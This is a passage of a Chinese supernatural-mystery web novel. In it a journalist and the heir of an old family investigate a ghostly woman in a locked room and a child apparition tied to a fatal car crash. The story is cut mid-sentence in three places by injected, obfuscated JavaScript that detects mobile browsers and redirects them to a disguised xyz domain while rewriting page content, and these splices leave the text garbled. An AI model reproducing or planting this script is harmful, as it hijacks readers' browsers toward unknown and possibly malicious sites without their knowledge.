在来之前,她简单了解了许家的老宅。 这栋房子已经有一百年左右的历史了,是许家在民国初期建造的中西结合的独立式花园住宅。占地面积近千平,主楼有三层,其后还有一栋两层高的小楼。这样的规模,在那个年代,还算不上特别奢华夸张。 和许家老宅同时期建造的不少豪宅,大部分不是被损毁,被拆除,就是已经无人居住,成了不可移动文物。而许家老宅,一直以来都有许家人在居住,这么多年也几经翻修,整体看起来还算不错。 不得不说,百年望族,名副其实。 如果有人把许家这百年来的故事写下来,一定很精彩,也必然会有很多人感兴趣。 到了许家老宅门口,下了车,江成按响门铃。 不一会儿,门铃里响起一个略显沙哑的男声。 “是江记者吗?” 江成给了肯定的回复,很快,面前的大门被打开。 一位五十多岁的中年男人站在大门内,十分客气地看着江成道:“江记者,请进,老先生在——” 蓦地,中年男人突然顿住,一瞬不瞬地盯着站在江成身旁的颜珺瑶,神色变得极为不自然,“她——她是——” “您是宗叔吧!”江成认得许家的老管家,笑着介绍道:“她是我的同事,颜珺瑶,我跟许董提前说过了,会带一个同事一同过来采访。” “同——同事——”宗叔骤然变得有些结巴,咽了咽口水,很快意识到自己的失态,连忙移开视线,“哦,这样啊,那两位先请进,我——我上去请先生下来。” 宗叔十分客气地将两人带到了一楼的会客厅,吩咐完阿姨上茶点,快速上了二楼,在迈上台阶前,宗叔忍不住又回头看了一眼坐在沙发上的女人,抓着楼梯扶手的手不受控地微微颤抖起来。 太像了。 颜珺瑶似乎有所察觉,偏头看向了楼梯口,就看到宗叔匆忙地转过头,抬腿上了楼梯。 “……” 颜珺瑶下意识地摸了摸自己的脸,又拿手机看了下,脸上很正常,并没有脏污。 江成也察觉到了不对劲,给了她一个安抚的笑容,“别紧张。” 没过多久,楼梯就传来了脚步声,似乎还有些踉跄。 许忠林在宗叔的搀扶下下了楼,江成和颜珺瑶很快都站了起来,打了声招呼。 许忠林紧紧抓着宗叔的手,一步一步地往客厅走来,视线死死地定在颜珺瑶的脸上。 “……”颜珺瑶尴尬地朝着许忠林露出笑容,有些不知所措地看向师傅。 许忠林是不欢迎她吗?可是师傅不是事先都说好了,为什么许老先生和那位宗叔在看到她时,反应会那么——震惊?像是—— 像是看到了外星生物。 颜珺瑶真的想原地遁走,太尴尬了。 江成即时打破沉默,“许董,这是我同事颜珺瑶,今天过来帮忙做记录。” “许董,您好——”颜珺瑶努力保持微笑,再次问好。 颜珺瑶——颜珺瑶—— 许忠林回过神来,深吸了一口气,慢慢地坐了下来,“请坐。” 江成和颜珺瑶刚挨上椅子,只见许忠林又看向颜珺瑶,突然问道:“哪三个字?” “?”颜珺瑶愣了下,很快反应过来,“哦,是颜色的颜,珺是王字旁加君子的君,瑶是王字旁的瑶。” “呵——”许忠林叹了口气,嘴角扯起一丝弧度,“真是个好名字啊!” “……谢谢许董。” 许忠林这才将视线落在江成身上,“江成,许久没见你了。” “确实有几年没见了,”江成点头,“许董近来身体如何?” “呵——”许忠林缓缓地笑了,视线不经意地又从颜珺瑶脸上划过,“我老了,身体——” 他顿了顿,看着江成道:“今天就先到这里吧——” * 车子驶离东湖路,颜珺瑶安静地坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951148|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副驾驶座上。 回想着刚刚发生的事情,心里满是不解。 许忠林和那位宗叔,看到她的时候都不太对劲,是自己长得太招人烦吗?否则两位长辈怎么会第一次见到她,就是——那样的反应。 哎,看来她不是和许修远八字不和,而是和整个许家相冲。 师傅特意带她来,是想给她介绍人脉,这下可真是白费了师傅的苦心。 江成发现颜珺瑶闷闷不乐,开解道:“许家老爷子今年八十出头了,最近许家大大小小又出了不少事,身体和情绪肯定会受影响,年纪大的人没那么快恢复。不要多想,和你没关系的。” “嗯——” “许老先生自己也说了身体不爽利,让我们下周再过去,放心,不会耽误采访的。 话虽如此,但颜珺瑶觉得今天采访的失败,很可能就是因为她。 要真是如此的话,下周她还是别去了,免得师傅一趟趟地白跑。 * 傍晚,天色变得有些阴沉。 许修远在院子里停好车,从车上下来,抬头看了一眼。 今晚估计又要下雨。 走进屋子,在客厅坐下,张阿姨从厨房出来,将两盘点心放在许修远面前,低声说了句:“已经回去了。” 许修远会意,点了点头,接着又问了爷爷这几天的身体状况。 张阿姨笑呵呵地说道:“老爷子最近精神头好了不少,今天早上还到院子里打太极。” 所以今天下午的采访还没怎么开始就突然结束,并不是身体原因,而是因为爷爷看到了颜珺瑶?因此爷爷下午才又请了赵先生过来,再次去了一趟三楼。 由此看来,爷爷对那个房间讳莫如深的原因,就是那个旗袍女人。 她——在那个房间离世的? 许修远抬眸看了眼楼梯口,想起这段时间的调查。 颜珺瑶那边,就目前查出来的信息判断,她和旗袍女人应该是没有血缘关系的。至于那个小女孩—— 他让人调查了近二十年内父亲出车祸的那个位置,曾经是否发生过三四岁孩子出事的情况,而且还是穿着鹅黄色旗袍的小女孩,结果没有查到同时满足这些条件的,要么年纪或性别对不上,要么就不是在那条路上。 除此之外,他还详细调查父亲生前的许多事情,包括父亲是否曾经有过开车致人死亡却被隐瞒的情况,是否有过情人,生过私生子但早夭的情况,等等可能性,他都有过怀疑,虽然还没有结果,但他对结果并不抱什么希望,这些事情存在的概率都很小。 排除了这么多可能性,他觉得只剩下一个猜想。 这时候,宗叔扶着许忠林从楼上下来了,晚饭也准备好了。 * 餐桌上,许忠林慈爱地看着许修远吃饭,刚吃完,又催着阿姨把水果端上来。 许修远没有辜负爷爷的心意,意思地吃了两块橙子,又给爷爷剥了几个他最爱的荔枝。 许忠林眉眼含笑地看着自己的孙子,吃了荔枝,才说道:“待会儿陪我喝杯茶再回去。” 许修远没有回答爷爷,擦了擦手,突然说道:“爷爷,今天下午您又请了赵先生过来。” 许忠林轻咳一声,“我的事你别管了。” “我不是要管您的事,而是——”许修远笑了笑,“想请您帮忙。” 许忠林顿了片刻,突然意识到什么,急切道:“怎么?你碰上什么事了?” “我昨天差一点发生车祸——” 21. 第 21 章 “什么?” 许忠林几乎要从椅子上站了起来,一把抓住许修远的手腕,“你——到底怎么回事?” “您别激动,”许修远安抚道,“我说的是差一点,我运气好,躲了过去。您放心,我没事。” 许忠林深吸了一口气,呼吸慢慢平稳了下来,口中喃喃:“万幸,万幸——” “爷爷,有件事我需要告诉您。”许修远踟蹰了两秒,开口道:“我爸的司机跟我说,车祸当天,我爸突然让他停车,说撞到了一个孩子,这就是当时停车的原因。但李叔根本没看到前面有人。” “撞——撞到孩子?”许忠林猛地站了起来,只觉得一盆凉水兜头罩下,从头凉到了脚,整个人发起抖来,脸上瞬间没了血色,差点没站稳,好在一旁的宗叔及时扶住他。 许修远立即也站了起来,伸手去扶爷爷,许忠林反握住他的手,几乎不曾失声,嗓音发颤道:“你是说撞到孩子?你确定?” “爷爷,你先吃药——”说着,许修远就要去给许忠林拿药,但许忠林死死抓着他的手,不松开。 “我没事,你快说,快说!” “李叔确实是这么说的。” “你为什么不早点告诉我?为什么要瞒着我?”许忠林狠狠地拍了一下桌面。 “原先我以为李叔是因为车祸受伤,导致记忆出现了问题,或是李叔在撒谎,因为我在监控录像上也并没有看到什么孩子,所以这么长时间我一直在调查车祸的事,但李叔家查不出什么反常的情况。直到昨天,我发现李叔的记忆也许没有问题,我爸当时真的那么跟他说过。” 许忠林的嘴唇几乎在颤抖,“那你现在突然告诉我,是不是你——你最近也见到了?” 许修远不答反问:“爷爷,您知道那个孩子是谁吗?” “我不知道,”许忠林当即否认,“你快回答我,你是不是也见到了?” 许修远摇头,“您放心,我没有看到,前几天我送一个朋友回家的途中,她看到车前出现一个小女孩,但她知道那不是人,所以让我不要停车。不到两分钟,在我刚打算停车的地方发生了车祸,也是我爸出事的地方,两车相撞。” 小女孩!竟然是小女孩! “你——你——”许忠林只觉得天旋地转,又惊又怒,“这样的事你居然现在才告诉我,你——老宗,赶快给赵先生打电话,马上派车去请他过来,快!” 宗叔应了声,一路小跑着离开了客厅。 “爷爷,你知道这个小女孩是谁?” 许忠林几乎快要吼出来:“我说了我不知道,这件事你别管,也别问,我会处理,快回去,马上回去。” 话音刚落,许忠林就撑着手杖离开餐桌。 许修远跟在他身旁扶着,忍不住问道:“爷爷,是不是我爸年轻的时候开车撞了什么小女孩,就在那个地方,所以她才找——” 许忠林浑身一僵,随即回过头来等着许修远,额角青筋浮现,怒道:“胡说什么,和你爸有什么关系,有什么关系,他好不容易平安长大,成婚生子了——” 说到这里,他突然住了嘴,眨了眨眼,收起了眼中的泪意,甩开许修远的手,转过身继续往前走,继续道:“不管你查到什么,都不是事实,这件事你不要插手。慢点开车,快回去,马上回去!” 许修远没有动,站在原地看着爷爷瞬间沧桑佝偻的背影,“爷爷,可现在她也找上我了,您应该告诉我——” 许忠林再次转身,看着他,神色无比严肃:“孩子,我不告诉你就是为了保护你,我再说一次,马上回去。” * 许修远了解爷爷的脾气,没有再问,但想留下来过夜,再次被许忠林极力反对。 “爷爷,楼上的房间我也进不去,也没兴趣再进去。我留下来只是想见一见赵先生,和他聊几句,说不定他也有问题想问我。” 许忠林沉思片刻,随即才同意。 四十分钟左右,一个穿着polo衫的中年男人笑呵呵地出现在了老宅。 许修远还没来得及和赵先生说上话,许忠林就让宗叔把人请到了三楼。 许修远只好先待在一楼客厅,等着宗叔过来叫他。 脑子里一边梳理着最近调查的信息,一边下意识地按着遥控器,换着台。 突然,刚刚滑过去的电视屏幕里出现了一张称得上熟悉的脸。 许修远手上的动作一顿,又切换回上一个频道。 确实是颜珺瑶,在一个火灾现场做采访,当出镜记者。 扎着高马尾,化着淡妆,穿着宽松的粉色上衣和高腰的白色九分裤,整个人特别高挑修长。 原来她在工作中——不,应该是正常情况下,是这样子的,漂亮灵动,气血充足,看起来特别有生命力。 呵—— 就在这时,宗叔下楼了,许修远立马就换了台,关了电视机,跟着去了二楼。 一进书房,许修远就注意到许忠林面色凝重,垂着眼皮,不知道在想什么,而赵先生仍旧是一副从容的笑模样,朝他点点头,笑着说道:“小许先生气色不错。” 许修远微笑颔首,坐到爷爷的对面,就听赵先生问道:“小许先生,你朋友看到的小女孩是什么样的?” 许修远瞥了一眼爷爷,“她说小女孩穿着鹅黄色的小旗袍,大概三四岁的样子。” 许忠林倏地抬眸看了一眼许修远,狠狠闭了下眼。 眼中的震惊恐慌无法掩饰,许修远明白,爷爷事知道那个小女孩到底是谁。 赵敬鸿了然地点了下头,“小许先生,冒昧问一句,你有没有怀疑过你的朋友有可能是骗你的?他是如何知道他看到的——并不是人?” 许修远迎向赵先生的目光,“赵先生,如果是你看到的话,可以一眼辨别出来所见的是不是人吗?” 赵敬鸿愣了下,随即明白过来,原来许修远说的这位朋友是同道中人。 许忠林盯着许修远看了良久,好奇他怎么会有这方面的朋友。 赵敬鸿笑着问道:“不知小许先生找我,是想说什么还是想问什么呢?” 许修远蓦地敛了笑意,“赵先生,你说,一个人的肉身离开了这个世界,为什么有些人的魂魄却仍旧盘桓,是因为有夙愿未了还是因为怨恨无法消散,想报仇呢? 许忠林突然出声:“修远!” * 书房的谈话在许忠林的呵斥声中,很快就结束了。 许修远对于赵先生是否给出答案,或具体给出什么样的答案并不在意,他真正在意的是爷爷的反应。 他几乎可以肯定,那个他看不到的小女孩的死和自己家有关,而且出事地点应该就是父亲出车祸的地方。 这件事必然是在多年前发生,甚至有可能是在好几十年前,否则不可能一点都查不出来。 书房外,一片寂然,已经听不到任何动静了,只有窗外传来夏夜偶尔的蝉鸣。 墙上的挂钟显示,时针和分针不用多久就要重合了。 许修远将旧相册和族谱放回原位,不禁叹了口气。 族谱里,太奶奶的名下只有三个子女,双生的大姑奶奶和二姑奶奶,还有就是爷爷,而这三位都是太奶奶亲生无疑的。 旧时代,即使规定姨太太不能入族谱,但姨太太所生的孩子是要记在正妻名下。 如果那个小女孩是旗袍女人的孩子,为什么族谱里太奶奶名下没有其他孩子的名字? 而且旧相册里出现的三四岁小女孩,基本都是幼时的大姑奶奶和二姑奶奶,除了她们两人之外,再没有别的什么小女孩。 但如果小女孩和旗袍女人没关系,和三楼那个房间没关系,爷爷在得知父亲出车祸前看到过一个孩子之后,又怎么会有那么大的反应,立刻请了赵先生过来,又去了一趟三楼。 所以小女孩极有可能和旗袍女人是母女关系,但不知什么原因,两人的存在痕迹都被抹除了。 * 许修远再次悄悄上了三楼。 站在门口,他习惯性地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952958|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴到门板上听了听。 似乎有声音,但很模糊,几乎只有一瞬,像是有人在床上翻身。 咔哒一声,门锁开了。 往里推开,映入眼帘的是仍是那个穿着旗袍的女人,只不过这次是歪靠在床头上,似在假寐。 大概是察觉到有动静,女人缓缓睁开了眼睛,在看到门口站着的人的那一刻,眼眸中闪现出惊喜,温温柔柔的一声“君平”过后,画面倏地消失。 随即出现的是颜珺瑶安静的睡颜,她正侧着身子,睡得正熟。 许修远看了眼手机,十二点整。 当他再次将视线探入颜珺瑶所在的房间,突然发现了不对劲的地方。 房间布局不一样了。 她换了个房间睡觉,不在前几次看到的那个,但自己却还能看到她。 所以这种诡异情况发生的重要条件是她,而不是她所在的空间? 许修远正沉思着,颜珺瑶突然睁开了眼睛,待看清站在门口的男人是谁之后,仍是浑身一颤,猛地坐起身子,下意识抱紧身上的被子,颤着嗓音道:“许修远,你怎么——” “小远——” 伴随着宗叔声音的出现,许修远眼前的画面霎时消失,转而看到的是房间内原本的模样。 梳妆台,西洋床,衣柜,一一入目。 许修远一惊,回头就看到宗叔苦着一张脸站在他身后。 原想着自己上一次可能不够仔细,房间里也许还有什么能提供线索的东西没有被他注意到,但眼下,势必就没法再去查看了。 而且明天早上爷爷很可能会大发雷霆。 许修远暗暗叹了口气,就听到宗叔苦口婆心地劝道:“小远,你怎么又上来了,老先生知道了那还得了,快走,快走——” 说着,宗叔就握住许修远的胳膊,试图想将他带走,但对方却纹丝不动。 许修远看着老管家,“宗叔,不是说换锁了吗?” 老管家眼神闪烁了一瞬,“小远,别问了,快下去休息吧!” “宗叔,这栋房子翻修过,但只有这间房子的所有都从未变过,连门上的锁都还是旧年代的,应该一直都没换过的。是在忌讳什么吗?” 宗叔叹了口气,“小远,我不知道,这些我都不知道。” “这个房间以前到底住的是谁,为什么一直锁起来呢?是不是我太爷爷当年娶的二太太就是住在这儿的,也是在这里离世的?你见过她的照片吗?” “……小远,我真的什么都不知道。” “宗叔,你在我爷爷身边工作这么多年了,你有这个房间的钥匙,所以平时的打扫是你亲自做的吗?” “……” 老管家握在许修远胳膊上的手突然抖了抖,“小远,你——你怎么——你是不是梦到或看到什么不干净的东西了?老先生给你求的平安福平时都戴着吗?” 许修远反握住老管家的手,不答反问:“宗叔,你平时进这个房间的时候害怕吗?” “我——我都是白天进去打扫的,不碍事的。小远,我没见过她,什么都不知道,别问了。” “宗叔,你告诉我,她是怎么离世的?叫什么名字?” “小远,我真的不知道,”老管家的眼神近乎哀求,“算宗叔求你了,听老先生的话,这些事情你别管了,赵先生会处理好的。” 许修远默了片刻,“宗叔,你是担心这个女人会对我做什么吗?难道您也怀疑我父亲的事和这个女人有关系? 可我父亲停车分明是因为看到那个小女孩,还是说那个小女孩是她的孩子吗? 宗叔一下子变了脸色,许修远知道自己猜对了。 他不再为难宗叔,但还是恳请道:“宗叔,希望您不要把今晚的事情告诉爷爷,他今天知道了那个小女孩的事情之后,情绪就不太好,而且我其实也没有进去,刚打开门您就来了。” 许修远以为宗叔肯定是不会答应的,但还是追加了最后这么一句,没想到宗叔居然点点头,答应了他。 22. 第 22 章 颜珺瑶迷迷糊糊地醒来,再次看到了站在房门口的许修远。 错愕过后,刚喊了一声,对方就消失不见了。 她呆愣愣地坐在床上,望着空无一人的房门口,满腹疑窦。 原以为自己不在家里的房间睡觉,而是在出租房过夜,肯定不会再出现之前的情况,没想到今天又发生了。 所以这种诡异情况的触发条件是什么?总不可能突然间两个人所在的空间出现扭曲,进而产生了重叠?不,这是现实,不是科幻。 不行,得找许修远再谈一谈这件事,总得想办法解决吧! 低头瞅了一眼身上的睡衣,颜珺瑶烦躁地躺回床上,恐不恐惧的先不说,明面上就有一种——没有隐私,随时会被人“窥见”的不安全感。 当然,她相信许修远也会这样觉得。 想到这,她突然意识到自己今晚似乎没有之前那么害怕了。 果然啊,心理学上的脱敏治疗,是非常科学的。 这么离奇诡异的情况出现了多次,她居然都开始有些“免疫”了。 而且—— 颜珺瑶嗖地又坐了起来,不由扬起嘴角,今晚的事是不是说明自己家的房子没有问题,问题只是出在她身上,不会影响爸妈呢?! 也许这是近期最值得高兴的事情了! * 第二天早晨,许修远注意到爷爷面露倦意,脸色不太好看。 他不免有些担心,但爷爷表示自己没什么问题,不愿意再去医院。 不过许修远发现,爷爷真的没有提到昨晚他进三楼房间的事情,看来宗叔真的没有告诉爷爷。 早餐过后,许修远联系了家庭医生,让对方过来一趟,之后在客厅陪着许忠林说话。 许忠林打开了电视机,突然问许修远前几天提醒他不要停车的朋友是谁。 许修远的脑子里浮现了颜珺瑶的那张脸,笑着说道:“偶然认识的普通朋友。对了——” 他瞧了眼门口,“我看宗叔一大早就出门,忙什么去了?” “办点事情——”许忠林盯着电视屏幕,放下遥控器,再次提起许修远的朋友。 “前几天那场车祸也不小,两辆车都撞毁了,而且两个人都重伤,你要好好感谢你那个朋友。” “嗯,我会的,您放心。” 许忠林的目光突然转向他,又道:“哪天方便,你把他请到家里吃饭,爷爷当面感谢他。” “……”许修远瞥了一眼电视屏幕,拿起遥控器,不着痕迹地换了台,“嗯,以后应该有机会的。” “小远——”许忠林想了想,犹豫了两秒,才问道:“你怎么认识这个朋友的?他从事那方面有多久了?” 许修远知道应该是昨晚自己的那句话让爷爷误会了,遂解释道:“她不从事那方面的工作,她——只是个普通人。” 许忠林闻言,眉头紧紧皱了起来,良久,他神色肃然地再次开口。 “小远,爷爷从不干涉你的交际,但是爷爷今天要提醒你,你这个朋友可能是天生阴阳眼,能看到那些,这样的人身上阴气都很重,你要少和他接触,否则会影响你的时运。” 颜珺瑶身上阴气重? 呵呵,就昨天在电视上看到的她,阳气都快溢出屏幕了,感觉她的生命活力能唤醒植物人。 不过,要说她真有什么不好的话,这段时间她确实是在走背运,而且似乎都和许家的人有关,比如他。就眼下看来,她至少救了自己一次,说起影响,也许算是他影响了颜珺瑶。 许修远喝了口茶,清了清嗓子,“爷爷,你放心,我记住了。” 他瞥了一眼手机,想了想,拿着手机站了起来,“爷爷,我出去打个电话。” 走到前院,在一株兰花前驻足,拨通了颜珺瑶的电话。 * 中巴车上,颜珺瑶靠着靠背,歪着脖子,正皱着眉头睡着。 昨晚大半夜醒来之后,胡思乱想了许久才睡着,早上又起得早,所以一上车就撑不住眼皮,没多会儿就睡了过去。 她是被电话铃声吵醒的,迷迷糊糊地从包里掏出手机,划开屏幕,下意识地“喂”了一声。 下一秒,她倏地睁大了眼睛,又瞄了一眼手机屏幕,不禁惊讶道:“许修——许先生!” 电话那头的男人清了清嗓子,嗓音温润地说道:“是我,打扰了,颜小姐。” “……哦,没事,你——找我有什么事吗?” 其实颜珺瑶本来就打算今天联系许修远,好了,现在不用苦恼如何说开场白了。 “抱歉,昨晚,包括前几次,似乎都吓到了颜小姐,但绝非故意,那个情况我也很意外。” “……” 颜珺瑶没想到许修远居然会向她道歉,一开始觉得他恐怖,对他有过许多匪夷所思的猜测,但现在她觉得那个情况应该不是他可以控制的,他不是执棋人,他和她一样,都只是棋子。 所以其实并不是他的错。 颜珺瑶一下子有点不知道如何回答,抓了抓脸,干笑着说道:“那个——其实跟你也没关系,不用道歉。” 电话那头默了片刻,又道:“不知道颜小姐今天下午是否方便,可不可以见个面,聊一聊那件事?” 嘿,这人和她想到一块儿去了,不错,不错! 只是—— “抱歉啊,我今天回老家了,明天可以吗?” 许修远给了肯定的回答,接着两人又定好了具体见面的时间地点,就挂了电话。 盯着手机屏幕,颜珺瑶吐出一口气。 * 到了乡下,颜珺瑶第一时间带着礼物敲响了隔壁汤爷爷的院门。 好一会儿,院子里才有人出声问外头是谁,但声音明显中气不足。 颜珺瑶愣了一下,汤爷爷这是又不舒服了? 她赶紧答应,“汤爷爷,是我,珺瑶。” 汤明山拖着脚步,开了院门,颜珺瑶跟着进了一楼客厅。 刚放下手上的礼物,颜珺瑶还未开口,汤明山就先说话了。 老人家似乎猜到了她的来意,笑呵呵地问她是不是遇到了什么事,所以想来问问。 颜珺瑶有些吃惊,汤明山解释道:“熙杰跟我说过。” 她了然地点点头,但眼下看着汤爷爷有些虚弱的样子,不敢再让老人家劳心费力,她也没了问事的心思,就想先带汤爷爷去医院看一看。 汤明山慈爱地拍了拍她的手,“好孩子,我没事,我已经去过医院了,正在吃药,别担心。” “……”看着不太像没事的样子。 颜珺瑶还是放心不下,回了爷爷奶奶家里,拿了血压计血氧仪过来给老人家测了,结果倒是正常。 颜珺瑶不敢托大,毕竟汤爷爷已经快八十了,而且最近这段时间一直看起来都不太健康,她觉得必须要去一趟医院。 但汤爷爷坚持不去,劝说了好一会儿都没用。 颜珺瑶没办法,又不能勉强老人家,只好想先扶他回房间好好休息。 汤明山摇摇头,不想回房间,又坚持让她说说到底遇到了什么事。 “你放心说,我的身体我自己清楚,不会因为你来问个事,就撑不住。” 颜珺瑶咬了咬唇,只好简单地说了自己的情况。 “之前看到了一个小女孩,前几天又看到了,而且都只有我看到。还有就是,我还梦到一个——奇怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15960249|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女人,有两三次。” “有时候还感觉——我好像控制不了自己,不知道自己在做什么。我还会突然看到一个人,但很快这个人又消失,重点是这个人还活着,并且对方也看到差不多的情况——” “汤爷爷,我这是撞邪了,还是被人下蛊了?还是——两个都有?” 颜珺瑶说完,一直盯着汤爷爷看,但对方神色不明,让她没法从汤爷爷的表情判断出自己的情况到底严不严重。 可她觉得,越是这样,估计情况越严重。 她心头一紧,又说道:“汤爷爷,我是不是被那些盯上了,等到时机成熟就成了替身,然后我就——死了呢?” 颜珺瑶越说越害怕,瞬间觉得自己好像没多少时间可活了,一下子像是一个被扎了的气球一样,瘪了。 “呵呵——”汤明山笑容慈祥,“你确实是碰上那些了,但你放心,不会有生命危险的,孩子,你这辈子是长寿命。” 真的?! 汤爷爷的话绝对可信! “呵呵——”颜珺瑶原地倏地满血复活,笑眯眯地说道:“那太好了,不会死就好,我还以为自己没有多少日子了!” “别害怕,我给你张平安符,可以驱邪保平安,要一直带着。熬过这段时间之后,你接下来的几十年会是平安顺遂,没有波折。” “谢谢汤爷爷!”颜珺瑶很激动,突然又想起什么,有些犹豫要不要说。 汤明山摸了摸她的头发,“还有什么想问的?” “汤爷爷,”颜珺瑶有些温吞,“我想问问,我现在这样的情况,会不会影响我身边的人?” 汤明山看了颜珺瑶半晌,眼神心疼,叹了口气,“真是个好孩子,放心,不会影响的,如果你实在担心你爸妈的话,我再给你一张符,你放在你家里就可以。” “午饭后再过来找我拿。” * 回到爷爷奶奶家,吃午饭时,奶奶盛了一大碗海蛎豆腐羹,一碟子炒青菜,还有一碗米饭,让颜珺瑶和爷爷端到隔壁去。 颜丙文手上有汤明山家的钥匙,直接开门进了屋子。 汤爷爷不在楼下。 爷孙俩将饭菜放到桌上,又盖上了防尘罩,颜丙文朝楼上喊了一嗓子。 “老汤,午饭在桌子上,早点下来吃,待会儿凉喽!” 说完之后,就带着颜珺瑶回去了。 吃饭时,颜丙文告诉颜珺瑶,这几天汤爷爷确实感冒了,不太舒服,张熙杰的父母每天都过来给老人家做饭,但今天临时有事,就麻烦了颜珺瑶的爷爷奶奶帮忙照顾一下。 颜珺瑶想了想,问道:“汤爷爷之前好像身体就不太好,有去过医院检查吗?” 颜丙文又是摇头,又是叹气的,“老汤固执的啊,说是自己去过医院了,不愿意再去,而且还跟小杰的爸妈说他现在死不了,不用去医院。” 奶奶突然说了一句,“老汤是不是给自己算过了?” 颜珺瑶愣了下,她听过一句话,算命先生一般不会给自己算的,就像医者不自医一样。 难道汤爷爷真的给自己算过? 两点左右,颜珺瑶估摸着汤爷爷应该吃完饭,便再次去了隔壁。 汤明山正坐在客厅的沙发上等着她,看到颜珺瑶进来,眼神复杂地看了她一眼。 随即垂下眼皮,从身旁的沙发上拿了两个十分精美的荷包递过去,指着其中一个绣着凤衔牡丹的荷包说道:“这个你带着,另一个万福万寿的荷包可以放在家里。” 颜珺瑶眨眨眼,两张符不一样吗? 不过她没多问,反正听汤爷爷的就没错。 “真好看!”她笑眯眯地接过荷包,“谢谢汤爷爷!” 23. 第 23 章 许修远陪着爷爷吃了午饭之后,离开了老宅,前去看望母亲。 车子刚离开老宅没多远,就看到另一辆熟悉的车子迎面驶来。 两车交错之时,他看到副驾驶座上坐的是宗叔,而后座的好像是赵敬鸿。 嗯,原来宗叔一大早是和赵敬鸿一起出门办事了。 爷爷吩咐的,是和三楼的那个房间有关,还是和那个小女孩有关? * 许修远到的时候,梁舒惠刚午睡醒来没多久,一看到儿子回来,就拉着他一起喝下午茶,品尝她新做的点心。 自从许耀中出事之后,梁舒惠一直郁郁寡欢,亲人一直陪伴和安慰她,特别是许修远,为了能多陪陪母亲,牺牲了不少休息时间,才使得梁舒惠的状态慢慢好了起来。 吃着母亲亲手做的点心,许修远和母亲聊起了许家早年的事情。 “妈,你知道太爷爷有几个孩子吗?” 梁舒惠听到这个问题,下意识回答道:“三个啊——” 但说完之后又愣了一下,笑起来,“你怎么最近对你太爷爷的事情这么好奇?上次你不还问了你太爷爷有没有姨太太,这次又问孩子,是不是你在哪里听说了什么?” 许修远笑了笑,不置可否,“确实有点好奇。” “我也好奇过,不过——”梁舒惠摇了摇头,“你太爷爷五十岁不到就走了,我也没见过,我和你爸结婚的时候,你太奶奶已经过世好些年了,只听你奶奶说过老太太。” “太奶奶——是什么样的人?” 梁舒惠叹了口气,“听你奶奶说,老太太蛮强势的,你奶奶性格那么好的人,都对她多有抱怨,应该是挺厉害的。所以我估摸着就算你太爷爷想娶姨太太,你太奶奶应该是不会同意对方进门的,很有可能是养在外面,就是外室。你爷爷虽然不喜欢晚辈打听早年的事情,但他应该没有说假话。” 养在外面? 如果旗袍女人是太爷爷的外室,那她的孩子没有入族谱倒是可以说得通。只是—— 许修远很是困惑,旗袍女人为什么会出现在三楼的那个房间,那个小女孩为什么会突然出现在父亲的车前,导致父亲车祸身亡? 她们——是在报复许家吗?当年许家对她们做了什么? 现在旗袍女人和小女孩似乎都找上了他,也是想害他? * 颜珺瑶赶上了最晚的班车,回到了市里。 当天夜里,她睁着眼睛,一直盯着墙上的挂钟,直到过了十二点,什么都没有发生,她才踏实地睡下。 由于提前关了闹钟,次日睡了个懒觉,一觉睡到自然醒,九点多才起床。 颜珺瑶正在洗手间洗漱,钱艺文提着几个食盒,以及好些新鲜食材和水果就过来了。 坐到餐桌前,钱艺文一一把食盒打开,放在颜珺瑶面前。 刚炖好的莲子猪肚汤,山药胡萝卜炒木耳,还有一份虾仁豆腐娃娃菜,都是早上刚做好的,也全是她喜欢的菜。 钱艺文一边给闺女盛汤,一边念叨着最近休息日她都不怎么回家去住,又心疼她气色没有以前好了,说她肯定是没有好好吃饭。 “妈妈马上放暑假了,你要是没空回去,妈妈每天过来给你做饭,或是直接在家里做好了,每天给你送过来,不然夏天又要瘦了。” 一听这话,颜珺瑶差点被一口汤呛到了,扭着头咳了两声,才赶紧道:“妈,我今晚就回去吃饭,您以后不用给我送饭,更不用过来给我做饭,假期就得好好休息,好好享受呀!” 钱艺文不满地晲了她一眼,“你不让妈妈过来给你做饭,那妈妈偶尔给你送饭,像今天这样,总不会影响你吧!” “好的,好的,谢谢可爱的钱女士!”颜珺瑶忙不迭点头,她要是不答应的话,妈妈肯定会从心疼她慢慢说到让她换工作的事。 钱艺文这才稍稍满意了,“那你今晚在家里睡不?” “嗯,在家里过夜。” “上次给你抓的中药还能喝几天?还做噩梦吗?” “还有三四副,睡眠好多了,已经不做噩梦了。” 钱艺文脸上露出了笑意,但很快又忍不住继续念叨。 